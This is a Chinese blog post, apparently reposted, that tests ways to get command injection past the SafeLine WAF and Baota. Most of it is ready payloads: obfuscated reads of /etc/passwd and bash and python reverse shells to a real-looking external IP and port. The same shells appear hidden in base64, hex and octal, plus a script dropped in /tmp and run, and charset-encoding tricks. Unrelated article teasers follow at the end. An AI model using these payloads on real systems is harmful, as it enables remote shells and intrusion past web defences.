bypass waf测试_rce

news/2025/3/19 20:49:55/文章来源:https://www.cnblogs.com/xiaoxin07/p/18502670

前言

以下验证绕过效果都使用开源雷池waf

知己知彼百战百胜,想bypass waf还是得先了解waf

waf是什么

WAF(WebApplicationFirewall,WEB应用防火墙)会过滤和监测 Web 应用程序与互联网之间的 HTTP/HTTPS 流量,以此来保护 Web 应用程序安全。它通常会保护 Web 应用程序免受各种形式的攻击,例如跨站点脚本 (XSS)、文件包含以及 SQL 注入等。

waf的分类:

硬WAF、云WAF、软WAF、代码层WAF

waf的工作原理:

用户对网站服务器发出请求后,雷池waf先于服务器接收流量,过滤后的流量再转发给服务器。

引用雷池waf手册的一张图

本文使用雷池waf进行实验,链接:https://waf-ce.chaitin.cn/docs/

官方提供语义分析技术解析以及绕过思路:

https://stack.chaitin.com/techblog/detail/80

二、rce绕过尝试

先尝试绕过rce,rce应该好绕一点,特别是linux命令特性比较多

尝试cat /etc/passwd发现拦截

使用未初始化的变量绕过

在Linux中,可以利用Bash的未初始化变量来逃避Waf的检测。未初始化的变量会被视为一个空字符串。如果你尝试引用一个未初始化的变量 $u,它不会报错,而是会返回一个空值。

cat /etc/passwd

在平衡防护时可以绕过,高强度防护时被拦截

cat /etc$u/passwd$u

wget

wget命令在平衡防护和高强度防护都可以绕过

bash反弹shell

被拦截:127.0.0.1 | /bin/bash -i >& /dev/tcp/0.0.0.0/5003 0>&1

高强度防护放行127.0.0.1 | /bin$u/bash$u -i$u >&$u /dev$u/tcp$u/xx.xx.xx.xx$u/5003$u 0>&1$u

但是bash命令反弹shell无反应,考虑可能权限不够,/tmp下有可写可执行权限,写个反弹脚本在tmp

先探测是否存在tmp命令

127.0.0.1 | (cd /tmp && ls)

把反弹命令写入写入tmp目录

127.0.0.1 | echo$u "/bin$u/bash$u -i$u >&$u /dev$u/tcp$u/0.0.0.0$u/5003$u 0>&1$u" > /tmp/2.sh

本地测试加$u的命令写入文件可以执行

被拦截:127.0.0.1 | (cd /tmp && ls -al)

高强度防护绕过127.0.0.1 | (cd /tmp && ls$u -al)

可以看到文件权限添加成功

被拦截:127.0.0.1 | bash$u /tmp$u/2.sh$u

高强度防护绕过127.0.0.1 | /bin$u/bash$u /tmp/2.sh

上线成功

使用$u注意:

发现写入的ip是残缺的,发现我写入的语句是

127.0.0.1 | echo$u "/bin$u/bash$u -i$u >&$u /dev$u/tcp$U/$u121.0.0.0/5003$u 0>&1$u" > /tmp/2.sh

$u在数字或者字符串前面,后面的数字和字符串就会被忽略,其他地方同理,所以$u需要加载一个完整命令的最后

在符号前面加$u,符号是不会被省略的

python反弹shell

暂时没绕过去,看看后面结合其他方法能不能绕过

python$u -c$u 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xx.xx.xx.xx",5003));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

符号绕过

1.通配符

cat

*   代表『 0 个到无穷多个』任意字符
?   代表『一定有一个』任意字符
[ ] 同样代表『一定有一个在括号内』的字符(非任意字符)。例如 [abcd] 代表『一定有一个字符, 可能是 a, b, c, d 这四个任何一个』
[ - ]   若有减号在中括号内时,代表『在编码顺序内的所有字符』。例如 [0-9] 代表 0 到 9 之间的所有数字,因为数字的语系编码是连续的!
[^ ]    若中括号内的第一个字符为指数符号 (^) ,那表示『反向选择』,例如 [^abc] 代表 一定有一个字符,只要是非 a, b, c 的其他字符就接受的意思。

高强度防护绕过:127.0.0.1 | /b?n/c?t /???/pass*

有个小坑:c?t或者?at是没办法执行的,因为c?t有好几个命令适用,系统不清楚你想使用哪个,所以需要加上命令的绝对路径/b?n/c?t

反弹shell

高强度防护绕过(宝塔也可以):127.0.0.1 |/b?n/b*h -i >& /dev/tcp/xx.xx.xx.xx/5003 0>&1

2.'连接符

在bash的操作环境中还有一个非常有用的功能,那就是连接符

'c'a't' /'e't'c'/'p'a's's'w'd 每个单引号括起来的字符会被逐一拼接起来

这样看比较直观,命令注意闭合

高强度防护可绕过:127.0.0.1 | 'c'a't' /'e't'c'/'p'a's's'w'd

反弹shell

无法绕过:<font style="color:rgb(18, 18, 18);">/'b'i'n'/b'a's'h' -i >& /d'e'v/t'c'p/162.251.94.247/50000 0>&1</font>

3."连接符

和'连接符同理

高强度防护绕过:127.0.0.1 | "c"a"t" /"e"t"c"/"p"a"s"s"w"d

反弹shell

无法绕过:/"b"i"n"/b"a"s"h" -i >& /d"e"v/t"c"p/xx.xx.xx.xx/5003 0>&1

4.\转义符

反斜杠(\)在Shell中是转义字符,用来忽略后面字符的特殊含义。然而,当反斜杠出现在普通字母前时(如i、n等),这些字母本身并没有特殊含义,所以反斜杠没有实际作用。每个转义后的字母依然是原来的字母。

绕过失败:127.0.0.1 | c\a\t /\e\t\c/p\a\s\s\w\d

5.$*绕过

c$*at%20/et$*c/p$*as$*s$*wd

字符集编码绕过

修改请求header中的Content-Type去使用不同得字符集编码,例如charset=ibm500,未配置为检测不同编码的恶意负载的 WAF 可能无法将请求识别为恶意请求。

可以使用python进行字符集编码。

import urllib.parse#s = '127.0.0.1 | python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xx.xx.xx.xx",5003));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);\''
# First, encode the string using the appropriate encoding
s = '127.0.0.1 | ls'
try:encoded_bytes = s.encode('IBM500')# Then, URL encode the resulting bytesurl_encoded_string = urllib.parse.quote_plus(encoded_bytes)print(url_encoded_string)
except Exception as e:print(f"An error occurred: {e}")

在发包时payload替换成编码后的payload,且修改content-type,

Content-Type: application/x-www-form-urlencoded; charset=cp875

但是只有部分情况可用

缓冲区溢出绕过

还是被拦截

编码绕过

雷池的编码效果不太行,对宝塔的效果还不错

base64

平衡防护绕过127.0.0.1 | echo 'Y2F0IC9ldGMvcGE=' | b"a"s"e"6"4" -dsswd

反弹shell

平衡防护绕过(宝塔):127.0.0.1 | echo 'L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE2Mi4yNTEuOTQuMjQ3LzUwMDAwIDA+JjE=' | b"a"s"e"6"4" -d | sh

绕过宝塔:127.0.0.1 | echo 'L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE2Mi4yNTEuOTQuMjQ3LzUwMDAwIDA+JjE=' | b"a"s"e"6"4" -d |$u bash

十六进制

无法绕过:echo "2f62696e2f62617368202d69203e26202f6465762f7463702f3136322e3235312e3934372f3530303020303e262031" | xxd -r -p | bash

反弹shell

无法绕过(宝塔可以):127.0.0.1 | echo "2f62696e2f62617368202d69203e26202f6465762f7463702f3136322e3235312e39342e3234372f353030303020303e2631"| xxd -r -p | sh

绕过宝塔:127.0.0.1 | echo "2f62696e2f62617368202d69203e26202f6465762f7463702f3136322e3235312e39342e3234372f353030303020303e2631"| xxd -r -p |$u bash

八进制

无法绕过:127.0.0.1 | **$(**printf "\143\141\164\040\057\145\164\143\057\160\141\163\163\167\144\012")

反弹shell:

127.0.0.1 | $(printf "\057\142\151\156\057\142\141\163\150\040\055\151\040\076\046\040\057\144\145\166\057\164\143\160\057\061\066\062\056\062\065\061\056\071\064\056\062\064\067\057\065\060\060\060\060\040\060\076\046\061")

绕过宝塔:127.0.0.1 | printf "\057\142\151\156\057\142\141\163\150\040\055\151\040\076\046\040\057\144\145\166\057\164\143\160\057\061\066\062\056\062\065\061\056\071\064\056\062\064\067\057\065\060\060\060\060\040\060\076\046\061"|$u bash

空格绕过

在bash下可以用$IFS、${IFS}、$IFS$9、<、>、<>、%09(在URL上使用较多)、%20(space)

雷池没拦截空格,只能本地测试了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/821724.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

如何炼就 AI 原住民的“自我修养”丨通义灵码走进北京大学创新课堂

AI时代的到来已成为不争的事实,当代大学生及年轻一代正成为这一新时代的原住民。10 月 11 日晚,通义灵码走进北京大学信息科学技术学院第二十六期“知存讲座”,阿里巴巴通义实验室算法专家、通义灵码算法负责人黎槟华先生受邀进行了以“AI 时代原住民的成长之路”为主题的报…

安娜的档案zlibrary24h搜书电子书免费下载网站推荐

安娜的档案(Anna’s Archive) “安娜的档案(Anna’s Archive)”是一个影子图书馆搜索引擎,它保存了世界上大约5%的书籍资源,包含书籍、论文、漫画和杂志等多种类型。该网站使用完全免费,用户可以在筛选功能里挑选语言版本和文件格式,资源字符清晰,质量较高。此外,“安娜的…

实验三 C语言函数应用编程

一、实验目的能正确使用C语法规则定义,声明,调用函数 能正确编写递归函数 针对具体问题场景,合理抽象出独立的功能模块,正确定义函数并使用,使得代码更具可读性,可维护性 针对具体问题场景,能正确,合理使用全局变量和局部static变量,解决实际问题 二、实验准备1,函数…

还不知道怎么做报表?一文教会你简单还免费的报表制作方法

在当今数据驱动的商业环境中,报表制作已经成为企业管理和决策中不可或缺的部分。然而,许多人面对复杂的报表制作流程可能感到无从下手。幸运的是,本文将教你如何一款完全免费的报表工具——山海鲸报表,无论你是初学者还是数据分析的老手,这篇文章都能帮你掌握快速上手、简…

HarmonyOS:给您的应用添加通知(2)

★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★➤博客园地址:为敢技术(https://www.cnblogs.com/strengthen/ )➤GitHub地址:https://github.com/strengthen➤原文地址:https://www.cnblogs.com/strengthen/p/18502243➤如果链接不是为敢技术的博…

家谱树题解

(ACM比赛时忘了拓扑怎么写时代尻古) 假设有一个 DAG 图,那么如何写出它的拓扑排序呢?这里说一种比较常用的方法: 1.从 DAG 图中选择一个没有前驱(即入度为0)的顶点并输出。 2.从图中删除该顶点和所有以它为起点的有向边。 3.重复 1 和 2 直到当前的 DAG 图为空或当前图中不…

♿交换序列题解♿

以下将状态 \(K\),\(E\),\(Y\) 用数字0,1,2表示。考虑 \(dp\) 我们设 \(dp[a][b][c][d]\) 表示 \(K\) 用了 \(a\) 次,\(E\) 用了 \(b\) 次,\(Y\) 用了 \(c\) 次,总共交换了 \(d\) 次, 前缀和 $sum[i][j] $表示到第 \(j\) 位有几个字母 \(i\) 记录一个 \(loc[i][j]\)表示第…

鸿蒙NEXT应用上架与分发步骤详解

大家好,我是 V 哥。今天的文章来聊一聊HarmonyOS NEXT应用上架。当你开发、调试完HarmonyOS应用/元服务,就可以前往AppGallery Connect申请上架,华为审核通过后,用户即可在华为应用市场获取您的HarmonyOS应用/元服务。 HarmonyOS会通过数字证书与Profile文件等签名信息来保…

云端软件对企业管理有什么好处

云端软件对企业管理有以下好处:一、提高信息共享与协作效率;二、降低IT成本与维护难度;三、增强数据安全与备份能力;四、实时监控与分析业务数据;五、提升企业管理灵活性与可扩展性。提高信息共享与协作效率源于云端软件打破了传统办公的地域和时间限制。一、提高信息共享…

HTML(网页)打包EXE软件的一机一码网络验证(生成卡密)使用说明和介绍

HTML(网页)打包EXE软件1.9.97版本中, 新增了网络验证功能, 它可以给打包生成的EXE文件添加网络验证功能, 即添加卡密, 打包后的EXE文件用户首次打开使用时, 会提示需要输入激活码(卡密), 输入正确后才可以正常使用. 本文主要介绍该功能如何使用HTML转EXE的网络验证使用步骤说明…

项目经理如何应对项目实施过程中的资源短缺

项目经理面对项目实施过程中的资源短缺,首先需要采取的措施包括:优化资源配置、寻找替代资源、项目需求调整、协商时间表、以及项目风险管理。其中,优化资源配置是核心方法,这涉及到合理分配现有资源,确保关键任务的优先级得到满足。 I. 优化资源配置 要优化资源配置,项目…

Apache Seata(incubating) 首个版本重磅发布!

2.1.0 是 Seata 进入 Apache 基金会的第一个 Release Version。此次发布将 io.seata 包名更改为 org.apache.seata。除了按原有的 Roadmap 技术演进外,2.1.0 进行了大量兼容性工作,实现了 API、数据和协议的兼容。用户无需修改原有的 API 和配置,即可实现到 Apache 版本的平…